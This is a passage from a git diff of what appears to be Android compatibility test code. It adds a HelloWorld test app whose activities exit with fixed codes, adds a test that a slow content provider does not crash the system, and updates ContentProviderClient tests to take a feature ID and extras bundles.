+        android:pathData="M69,19L69,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M79,19L79,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+</vector>
diff --git a/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
new file mode 100644
index 0000000..eed4d89
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context=".MainActivity">
+
+    <android.support.design.widget.AppBarLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:theme="@style/AppTheme.AppBarOverlay">
+
+        <android.support.v7.widget.Toolbar
+            android:id="@+id/toolbar"
+            android:layout_width="match_parent"
+            android:layout_height="?attr/actionBarSize"
+            android:background="?attr/colorPrimary"
+            app:popupTheme="@style/AppTheme.PopupOverlay" />
+
+    </android.support.design.widget.AppBarLayout>
+
+    <include layout="@layout/content_main" />
+
+    <android.support.design.widget.FloatingActionButton
+        android:id="@+id/fab"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_gravity="bottom|end"
+        android:layout_margin="@dimen/fab_margin"
+        app:srcCompat="@android:drawable/ic_dialog_email" />
+
+</android.support.design.widget.CoordinatorLayout>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/layout/content_main.xml b/tests/tests/content/HelloWorldApp/res/layout/content_main.xml
new file mode 100644
index 0000000..3fc2170
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/layout/content_main.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    app:layout_behavior="@string/appbar_scrolling_view_behavior"
+    tools:context=".MainActivity"
+    tools:showIn="@layout/activity_main">
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Hello World!"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintLeft_toLeftOf="parent"
+        app:layout_constraintRight_toRightOf="parent"
+        app:layout_constraintTop_toTopOf="parent" />
+
+</android.support.constraint.ConstraintLayout>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/menu/menu_main.xml b/tests/tests/content/HelloWorldApp/res/menu/menu_main.xml
new file mode 100644
index 0000000..0e62215
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/menu/menu_main.xml
@@ -0,0 +1,10 @@
+<menu xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    tools:context="com.example.helloworld.MainActivity">
+    <item
+        android:id="@+id/action_settings"
+        android:orderInCategory="100"
+        android:title="@string/action_settings"
+        app:showAsAction="never" />
+</menu>
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher.xml b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher.xml
new file mode 100644
index 0000000..eca70cf
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher_round.xml
new file mode 100644
index 0000000..eca70cf
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher_round.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 0000000..898f3ed
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher_round.png
new file mode 100644
index 0000000..dffca36
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 0000000..64ba76f
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher_round.png
new file mode 100644
index 0000000..dae5e08
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher.png
new file mode 100644
index 0000000..e5ed465
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..14ed0af
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher.png
new file mode 100644
index 0000000..b0907ca
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..d8ae031
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher.png
new file mode 100644
index 0000000..2c18de9
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..beed3cd
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/values/colors.xml b/tests/tests/content/HelloWorldApp/res/values/colors.xml
new file mode 100644
index 0000000..69b2233
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/colors.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <color name="colorPrimary">#008577</color>
+    <color name="colorPrimaryDark">#00574B</color>
+    <color name="colorAccent">#D81B60</color>
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/res/values/dimens.xml b/tests/tests/content/HelloWorldApp/res/values/dimens.xml
new file mode 100644
index 0000000..59a0b0c
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/dimens.xml
@@ -0,0 +1,3 @@
+<resources>
+    <dimen name="fab_margin">16dp</dimen>
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/res/values/strings.xml b/tests/tests/content/HelloWorldApp/res/values/strings.xml
new file mode 100644
index 0000000..cfa9f74
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/strings.xml
@@ -0,0 +1,4 @@
+<resources>
+    <string name="app_name">HelloWorld</string>
+    <string name="action_settings">Settings</string>
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/res/values/styles.xml b/tests/tests/content/HelloWorldApp/res/values/styles.xml
new file mode 100644
index 0000000..545b9c6
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/styles.xml
@@ -0,0 +1,20 @@
+<resources>
+
+    <!-- Base application theme. -->
+    <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
+        <!-- Customize your theme here. -->
+        <item name="colorPrimary">@color/colorPrimary</item>
+        <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
+        <item name="colorAccent">@color/colorAccent</item>
+    </style>
+
+    <style name="AppTheme.NoActionBar">
+        <item name="windowActionBar">false</item>
+        <item name="windowNoTitle">true</item>
+    </style>
+
+    <style name="AppTheme.AppBarOverlay" parent="ThemeOverlay.AppCompat.Dark.ActionBar" />
+
+    <style name="AppTheme.PopupOverlay" parent="ThemeOverlay.AppCompat.Light" />
+
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/src5/com/example/helloworld/MainActivity.java b/tests/tests/content/HelloWorldApp/src5/com/example/helloworld/MainActivity.java
new file mode 100644
index 0000000..31d8a97
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/src5/com/example/helloworld/MainActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.example.helloworld;
+
+import android.os.Bundle;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.appcompat.widget.Toolbar;
+
+public class MainActivity extends AppCompatActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Toolbar toolbar = findViewById(R.id.toolbar);
+        setSupportActionBar(toolbar);
+        System.exit(5);
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        // Inflate the menu; this adds items to the action bar if it is present.
+        getMenuInflater().inflate(R.menu.menu_main, menu);
+        return true;
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(MenuItem item) {
+        // Handle action bar item clicks here. The action bar will
+        // automatically handle clicks on the Home/Up button, so long
+        // as you specify a parent activity in AndroidManifest.xml.
+        int id = item.getItemId();
+
+        //noinspection SimplifiableIfStatement
+        if (id == R.id.action_settings) {
+            return true;
+        }
+
+        return super.onOptionsItemSelected(item);
+    }
+}
diff --git a/tests/tests/content/HelloWorldApp/src7/com/example/helloworld/MainActivity.java b/tests/tests/content/HelloWorldApp/src7/com/example/helloworld/MainActivity.java
new file mode 100644
index 0000000..2aae1e0
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/src7/com/example/helloworld/MainActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.example.helloworld;
+
+import android.os.Bundle;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.appcompat.widget.Toolbar;
+
+public class MainActivity extends AppCompatActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Toolbar toolbar = findViewById(R.id.toolbar);
+        setSupportActionBar(toolbar);
+        System.exit(7);
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        // Inflate the menu; this adds items to the action bar if it is present.
+        getMenuInflater().inflate(R.menu.menu_main, menu);
+        return true;
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(MenuItem item) {
+        // Handle action bar item clicks here. The action bar will
+        // automatically handle clicks on the Home/Up button, so long
+        // as you specify a parent activity in AndroidManifest.xml.
+        int id = item.getItemId();
+
+        //noinspection SimplifiableIfStatement
+        if (id == R.id.action_settings) {
+            return true;
+        }
+
+        return super.onOptionsItemSelected(item);
+    }
+}
diff --git a/tests/tests/content/res/color-night/testcolor_daynight.xml b/tests/tests/content/res/color-night/testcolor_daynight.xml
new file mode 100644
index 0000000..a63f89a
--- /dev/null
+++ b/tests/tests/content/res/color-night/testcolor_daynight.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:color="@android:color/black"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/color-notnight/testcolor_daynight.xml b/tests/tests/content/res/color-notnight/testcolor_daynight.xml
new file mode 100644
index 0000000..2f4ecb8
--- /dev/null
+++ b/tests/tests/content/res/color-notnight/testcolor_daynight.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:color="@android:color/white"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/color/testcolor_daynight.xml b/tests/tests/content/res/color/testcolor_daynight.xml
new file mode 100644
index 0000000..0f13433
--- /dev/null
+++ b/tests/tests/content/res/color/testcolor_daynight.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:color="#777777"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index bc583f1..873e0db 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -187,10 +187,6 @@
         <item name="themeTileMode">2</item>
     </style>
 
-    <style name="Theme_NoSwipeDismiss">
-        <item name="android:windowSwipeToDismiss">false</item>
-    </style>
-
     <style name="Theme_LayoutDirectionDependent">
         <item name="themeInteger">999</item>
     </style>
diff --git a/tests/tests/content/src/android/content/cts/BuggyProviderTest.java b/tests/tests/content/src/android/content/cts/BuggyProviderTest.java
new file mode 100644
index 0000000..0c17256
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/BuggyProviderTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.app.ActivityManager;
+import android.content.ContentResolver;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+
+/**
+ * Test system behavior of a buggy provider.
+ *
+ * see @{@link MockBuggyProvider}
+ */
+public class BuggyProviderTest extends AndroidTestCase {
+
+    public void testGetTypeDoesntCrashSystem() {
+        // ensure the system doesn't crash when a provider takes too long to respond
+        try {
+            ActivityManager.getService().getProviderMimeType(
+                    MockBuggyProvider.CONTENT_URI, UserHandle.USER_CURRENT);
+        } catch (Exception e) {
+            fail("Unexpected exception while fetching type: " + e.getMessage());
+        }
+    }
+
+    public void testGetTypeViaResolverDoesntCrashSystem() {
+        // ensure the system doesn't crash when a provider takes too long to respond
+        ContentResolver resolver = mContext.getContentResolver();
+        try {
+            resolver.getType(MockBuggyProvider.CONTENT_URI);
+        } catch (Exception e) {
+            fail("Unexpected exception while fetching type: " + e.getMessage());
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
index 0a15455..9119ea1 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
@@ -60,13 +60,14 @@
     };
 
     private static final String PACKAGE_NAME = "android.content.cts";
+    private static final String FEATURE_ID = "testFeature";
     private static final String MODE = "mode";
-    private static final String SELECTION = "selection";
     private static final String AUTHORITY = "authority";
     private static final String METHOD = "method";
     private static final String ARG = "arg";
     private static final Uri URI = Uri.parse("com.example.app://path");
     private static final Bundle ARGS = new Bundle();
+    private static final Bundle EXTRAS = new Bundle();
     private static final ContentValues VALUES = new ContentValues();
     private static final ContentValues[] VALUES_ARRAY = {VALUES};
     private static final ArrayList<ContentProviderOperation> OPS = new ArrayList<>();
@@ -88,7 +89,8 @@
 
         when(mIContentProvider.createCancellationSignal()).thenReturn(mICancellationSignal);
 
-        mContentResolver = spy(new MockContentResolver(getContext()));
+        mContentResolver = spy(
+                new MockContentResolver(getContext().createFeatureContext(FEATURE_ID)));
         mContentProviderClient = spy(new ContentProviderClient(mContentResolver, mIContentProvider,
                 false));
 
@@ -107,22 +109,24 @@
 
     public void testQuery() throws RemoteException {
         mContentProviderClient.query(URI, null, ARGS, mCancellationSignal);
-        verify(mIContentProvider).query(PACKAGE_NAME, URI, null, ARGS, mICancellationSignal);
+        verify(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+                mICancellationSignal);
     }
 
     public void testQueryTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.query(PACKAGE_NAME, URI, null, ARGS, mICancellationSignal))
-                .thenAnswer(ANSWER_SLEEP);
+        when(mIContentProvider.query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+                mICancellationSignal)).thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.query(URI, null, ARGS, mCancellationSignal));
 
-        verify(mIContentProvider).query(PACKAGE_NAME, URI, null, ARGS, mICancellationSignal);
+        verify(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+                mICancellationSignal);
     }
 
     public void testQueryAlreadyCancelled() throws Exception {
         testAlreadyCancelled(
                 () -> mContentProviderClient.query(URI, null, ARGS, mCancellationSignal));
-        verify(mIContentProvider, never()).query(PACKAGE_NAME, URI, null, ARGS,
+        verify(mIContentProvider, never()).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
                 mICancellationSignal);
     }
 
@@ -156,182 +160,185 @@
 
     public void testCanonicalize() throws RemoteException {
         mContentProviderClient.canonicalize(URI);
-        verify(mIContentProvider).canonicalize(PACKAGE_NAME, URI);
+        verify(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
     }
 
     public void testCanonicalizeTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.canonicalize(PACKAGE_NAME, URI))
+        when(mIContentProvider.canonicalize(PACKAGE_NAME, FEATURE_ID, URI))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.canonicalize(URI));
 
-        verify(mIContentProvider).canonicalize(PACKAGE_NAME, URI);
+        verify(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
     }
 
     public void testUncanonicalize() throws RemoteException {
         mContentProviderClient.uncanonicalize(URI);
-        verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, URI);
+        verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
     }
 
     public void testUncanonicalizeTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.uncanonicalize(PACKAGE_NAME, URI))
+        when(mIContentProvider.uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.uncanonicalize(URI));
 
-        verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, URI);
+        verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
     }
 
     public void testRefresh() throws RemoteException {
         mContentProviderClient.refresh(URI, ARGS, mCancellationSignal);
-        verify(mIContentProvider).refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal);
+        verify(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+                mICancellationSignal);
     }
 
     public void testRefreshTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal))
+        when(mIContentProvider.refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS, mICancellationSignal))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.refresh(URI, ARGS, mCancellationSignal));
 
-        verify(mIContentProvider).refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal);
+        verify(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+                mICancellationSignal);
     }
 
     public void testRefreshAlreadyCancelled() throws Exception {
         testAlreadyCancelled(() -> mContentProviderClient.refresh(URI, ARGS, mCancellationSignal));
-        verify(mIContentProvider, never()).refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal);
+        verify(mIContentProvider, never()).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+                mICancellationSignal);
     }
 
     public void testInsert() throws RemoteException {
-        mContentProviderClient.insert(URI, VALUES);
-        verify(mIContentProvider).insert(PACKAGE_NAME, URI, VALUES);
+        mContentProviderClient.insert(URI, VALUES, EXTRAS);
+        verify(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
     }
 
     public void testInsertTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.insert(PACKAGE_NAME, URI, VALUES))
+        when(mIContentProvider.insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS))
                 .thenAnswer(ANSWER_SLEEP);
 
-        testTimeout(() -> mContentProviderClient.insert(URI, VALUES));
+        testTimeout(() -> mContentProviderClient.insert(URI, VALUES, EXTRAS));
 
-        verify(mIContentProvider).insert(PACKAGE_NAME, URI, VALUES);
+        verify(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
     }
 
     public void testBulkInsert() throws RemoteException {
         mContentProviderClient.bulkInsert(URI, VALUES_ARRAY);
-        verify(mIContentProvider).bulkInsert(PACKAGE_NAME, URI, VALUES_ARRAY);
+        verify(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY);
     }
 
     public void testBulkInsertTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.bulkInsert(PACKAGE_NAME, URI, VALUES_ARRAY))
+        when(mIContentProvider.bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.bulkInsert(URI, VALUES_ARRAY));
 
-        verify(mIContentProvider).bulkInsert(PACKAGE_NAME, URI, VALUES_ARRAY);
+        verify(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY);
     }
 
     public void testDelete() throws RemoteException {
-        mContentProviderClient.delete(URI, SELECTION, new String[0]);
-        verify(mIContentProvider).delete(PACKAGE_NAME, URI, SELECTION, new String[0]);
+        mContentProviderClient.delete(URI, EXTRAS);
+        verify(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS);
     }
 
     public void testDeleteTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.delete(PACKAGE_NAME, URI, SELECTION, new String[0]))
+        when(mIContentProvider.delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS))
                 .thenAnswer(ANSWER_SLEEP);
 
-        testTimeout(() -> mContentProviderClient.delete(URI, SELECTION, new String[0]));
+        testTimeout(() -> mContentProviderClient.delete(URI, EXTRAS));
 
-        verify(mIContentProvider).delete(PACKAGE_NAME, URI, SELECTION, new String[0]);
+        verify(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS);
     }
 
     public void testUpdate() throws RemoteException {
-        mContentProviderClient.update(URI, VALUES, SELECTION, new String[0]);
-        verify(mIContentProvider).update(PACKAGE_NAME, URI, VALUES, SELECTION,
-                new String[0]);
+        mContentProviderClient.update(URI, VALUES, EXTRAS);
+        verify(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
     }
 
     public void testUpdateTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.update(PACKAGE_NAME, URI, VALUES, SELECTION,
-                new String[0]))
+        when(mIContentProvider.update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS))
                 .thenAnswer(ANSWER_SLEEP);
 
-        testTimeout(() -> mContentProviderClient.update(URI, VALUES, SELECTION,
-                new String[0]));
+        testTimeout(() -> mContentProviderClient.update(URI, VALUES, EXTRAS));
 
-        verify(mIContentProvider).update(PACKAGE_NAME, URI, VALUES, SELECTION,
-                new String[0]);
+        verify(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
     }
 
     public void testOpenFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openFile(URI, MODE, mCancellationSignal);
 
-        verify(mIContentProvider).openFile(PACKAGE_NAME, URI, MODE, mICancellationSignal, null);
+        verify(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+                mICancellationSignal, null);
     }
 
     public void testOpenFileTimeout()
             throws RemoteException, InterruptedException, FileNotFoundException {
-        when(mIContentProvider.openFile(PACKAGE_NAME, URI, MODE, mICancellationSignal, null))
-                .thenAnswer(ANSWER_SLEEP);
+        when(mIContentProvider.openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, mICancellationSignal,
+                null)).thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.openFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider).openFile(PACKAGE_NAME, URI, MODE, mICancellationSignal, null);
+        verify(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+                mICancellationSignal, null);
     }
 
     public void testOpenFileAlreadyCancelled() throws Exception {
         testAlreadyCancelled(() -> mContentProviderClient.openFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider, never()).openFile(PACKAGE_NAME, URI, MODE,
+        verify(mIContentProvider, never()).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
                 mICancellationSignal, null);
     }
 
